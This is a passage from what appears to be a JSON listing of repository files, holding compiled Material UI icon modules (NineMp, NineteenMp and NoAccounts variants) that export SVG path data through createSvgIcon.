    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M13 8h-1.5V6.5H13z\"\n}, \"2\")], 'NineMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 6c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H13V9zm1.5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5z\"\n}, \"2\")], 'NineMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 6c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H13V9zm1.5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5z\"\n}, \"2\")], 'NineMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm7 7h3V9h-3V5.5h4.5v6H10zm2.5 8.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5z\"\n}, \"2\")], 'NineMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm7 7h3V9h-3V5.5h4.5v6H10zm2.5 8.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5z\"\n}, \"2\")], 'NineMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M13 8h-1.5V6.5H13z\"\n}, \"4\")], 'NineMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-7.5H13V8h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M13 8h-1.5V6.5H13z\"\n}, \"4\")], 'NineMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 7h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zm1.5-2H15V6.5h-1.5zM7 5.5h3v6H8.5V7H7zm5 13h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm6.5-2.5c0 .55-.45 1-1 1h-2v1.5H14v-6h3.5c.55 0 1 .45 1 1zm-3-2H17v1.5h-1.5z\"\n}), 'NineteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 7h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zm1.5-2H15V6.5h-1.5zM7 5.5h3v6H8.5V7H7zm5 13h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm6.5-2.5c0 .55-.45 1-1 1h-2v1.5H14v-6h3.5c.55 0 1 .45 1 1zm-3-2H17v1.5h-1.5z\"\n}), 'NineteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 8h-1.5V6.5H15z\"\n}, \"2\")], 'NineteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 8h-1.5V6.5H15z\"\n}, \"2\")], 'NineteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'NineteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'NineteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 7h3V9h-3V5.5h4.5v6H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'NineteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 7h3V9h-3V5.5h4.5v6H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'NineteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 8h-1.5V6.5H15zm-6.5 3.5H10v-6H7V7h1.5z\"\n}, \"4\")], 'NineteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 8h-1.5V6.5H15zm-6.5 3.5H10v-6H7V7h1.5z\"\n}, \"4\")], 'NineteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccounts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccounts');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccounts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15m6.31 1.9L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccounts');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12m8 8c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.18 10.94c.2-.44.32-.92.32-1.44C15.5 7.57 13.93 6 12 6c-.52 0-1 .12-1.44.32z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.85.63-3.55 1.69-4.9l2.86 2.86c.21 1.56 1.43 2.79 2.99 2.99l2.2 2.2Q12.885 15 12 15c-2.32 0-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12m8 8c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.54-1.69 4.9\"\n}, \"1\")], 'NoAccountsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoAccountsRounded.js",
